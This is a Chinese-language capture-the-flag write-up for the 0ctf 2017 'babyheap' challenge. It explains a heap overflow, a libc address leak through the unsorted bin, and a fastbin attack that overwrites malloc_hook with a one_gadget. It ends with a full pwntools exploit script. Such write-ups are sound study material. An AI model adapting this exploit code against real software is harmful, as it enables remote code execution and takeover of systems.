这个题 一开始 不知道是怎么回事
然后这个程序开了 保护全开 基址随机化 这就要我们自己把libc的基址给泄露出来
泄露的方法我知道的是 把堆 free到 unsortbin的fd和bk指向自身main_arena 然后可以根据 main_arena 的偏移 搞出libc 库
道理都懂 但是怎么做 就不好说了 现在这里就有一道题
典型的菜单题 然后 看一下大概内容 有没有什么漏洞点
calloc 这个函数有两个参数 一个是 大小 一个是 长度 二者相乘 就是 要申请的大小
然后calloc 这个函数还会把我们申请的地方自动清空 这里好像没有什么问题 我们去看其它函数的作用
这里 有一个 溢出点 就是他输入的要修改的堆块大小 是我们自己修改的大小 那么我们可以无限修改了
好吧 现在就知道了一个溢出点 但是怎么利用呢 如果我们能够泄露出 libc库 那么就很好利用这个程序了
问题就在于 怎么泄露 一开始没有想到什么好的方法 然后参考了这个链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#2017-0ctf-babyheap
然后发现这个这个思路真的好用 修改fd指针 让 heap[2]的指针指向 heap[4]的指针 然后泄露就可以了
这里由于堆块申请对齐 所以 index[4]的堆块起始地址必定是 0x80
那么我们就可以 payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
然后 edit(0,len(payload),payload) 那么 fd 也就指向了 堆块4
可以看到已经指向了 第四个堆块 那么 那我再修改第三个 让 堆块四的大小是 0x21 然后 再add 两个堆块 0x10
然后 heap[2] 就指向了 4号堆块 那么 我们就胜利了 一半 我们接下来是 想办法让 4号堆块 进入 unsort bin
引用wiki 的原话 就是 所以该 chunk 不能使 fastbin chunk,也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中,后者在不是 fastbin 的情况下,会被合并到 top chunk 中
然后我们修改3 让 他的大小是0x91 然后 再在后面申请一个 chunk 然后 然后free了 4 然后 再打印2号的内容就可以get到了
main_arena
然后就是hook malloc函数 找 one_gadget_addr 就只能根据库去找
然后其他就没有什么了
下面是根据wiki写的脚本
from pwn import *
context.log_level = "debug"
io=process("./babyheap")
elf=ELF("./babyheap")
def add(size):
io.recvuntil('Command: ')
io.sendline("1")
io.recvuntil("Size: ")
io.sendline(str(size))
def edit(index,size,content):
io.recvuntil('Command: ')
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(content)
def dele(index):
io.recvuntil('Command: ')
io.sendline("3")
io.recvuntil("Index: ")
io.sendline(str(index))
def show(index):
io.recvuntil('Command: ')
io.sendline("4")
io.recvuntil("Index: ")
io.sendline(str(index))
if __name__ =="__main__":
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
dele(2)
dele(1)
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
edit(0,len(payload),payload)
payload = 0x10 * 'a'+ p64(0) + p64(0x21)
edit(3,len(payload),payload)
add(0x10)
add(0x10)
payload= 0x10 * 'a'+p64(0)+p64(0x91)
edit(3,len(payload),payload)
add(0x80)
dele(4)
show(2)
io.recvuntil('Content: \n')
unsort_addr=u64(io.recv(8))
main_arena =unsort_addr-88
libcbase_addr =main_arena -0x3C4B20
add(0x60)
dele(4)
fake_chunk_addr=main_arena-0x33
payload=p64(fake_chunk_addr)
edit(2,len(payload),payload)
add(0x60)
add(0x60)
one_gadget_addr = libcbase_addr + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
edit(6,len(payload),payload)
add(0x90)
#gdb.attach(io)
io.interactive()
io.close()